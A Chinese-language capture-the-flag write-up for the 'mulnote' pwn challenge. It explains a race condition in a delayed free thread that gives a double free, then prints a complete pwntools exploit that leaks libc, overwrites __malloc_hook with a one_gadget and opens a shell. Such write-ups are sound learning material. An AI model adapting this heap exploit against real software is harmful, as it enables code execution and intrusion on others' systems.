前言
- 这题我当时在比赛的时候只停留于表象,结果被骗了,没有看出来漏洞,也没做出来,太亏了。结束后看到别人的题解,才发现还真是“水题”。
保护
分析
- 程序使用 LLVM 编译的,开了控制流。但是根据字符串的提示,还是很容易找到各个操作对应的函数,影响不是很大。
- 习惯性的只看反汇编代码,竟发现没有漏洞!!!而删除操作,貌似没有真的释放。
- 那怎么搞?后来才知道是 LLVM 把真相给掩藏起来了,需要动态调试跟一下才会发现端倪。
- 在执行删除操作的时候,释放指针的函数是放在线程中执行的。而这个线程函数明显存在一个典型的竞争漏洞。
- 在这 10s 的延时中可以形成 double free 漏洞,利用 fastbin attack 攻击就好了。
EXP
from pwn import*
context.log_level='debug'
p=process('./mulnote')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(size,data):
p.sendlineafter('>','C')
p.sendlineafter('size>',str(size))
p.sendlineafter('note>',data)
def Edit(idx,data):
p.sendlineafter('>','E')
p.sendlineafter('index>',str(idx))
p.sendlineafter('note>',data)
def Del(idx):
p.sendlineafter('>','R')
p.sendlineafter('index>',str(idx))
def Show():
p.sendlineafter('>','S')
Add(0x80,'c'*0x40)#0
Add(0x60,'a'*0x40)#1
Add(0x60,'b'*0x40)#2
Del(0)
Add(0x80,'')#0
Show()
p.recvuntil(':\n')
libc_base=u64(p.recv(6).ljust(8,'\0'))-2-libc.sym['__realloc_hook']
malloc_hook=libc.sym['__malloc_hook']+libc_base
success('libc_base:'+hex(libc_base))
system=libc.sym['system']
one=[0x45206,0x4525a,0xef9f4,0xf0897]
success('malloc_hook:'+hex(malloc_hook))
Del(1)
Del(2)
Del(1)
Add(0x60,p64(malloc_hook-0x1b-8))#4
Add(0x60,'')
Add(0x60,'')
Add(0x60,'a'*0x13+p64(one[0]+libc_base))
p.sendlineafter('>','C')
p.sendlineafter('size>','/bin/sh')
p.interactive()
- 不过诡异的是 context.log_level=‘debug’ 这一句还不能去掉,否则无法泄露出内存;还有最后的 p.sendlineafter(‘size>’,’/bin/sh’) 中的第二个参数不能写成别的,可我修改的是 one_gadget 呀!已经自带有 /bin/sh 了。
总结
- 眼见亦非实,不要停留于表面。带 LLVM 或者其他加花了的程序,能动态调试,最好还是调一遍,这样才不漏掉每一个隐蔽的地方!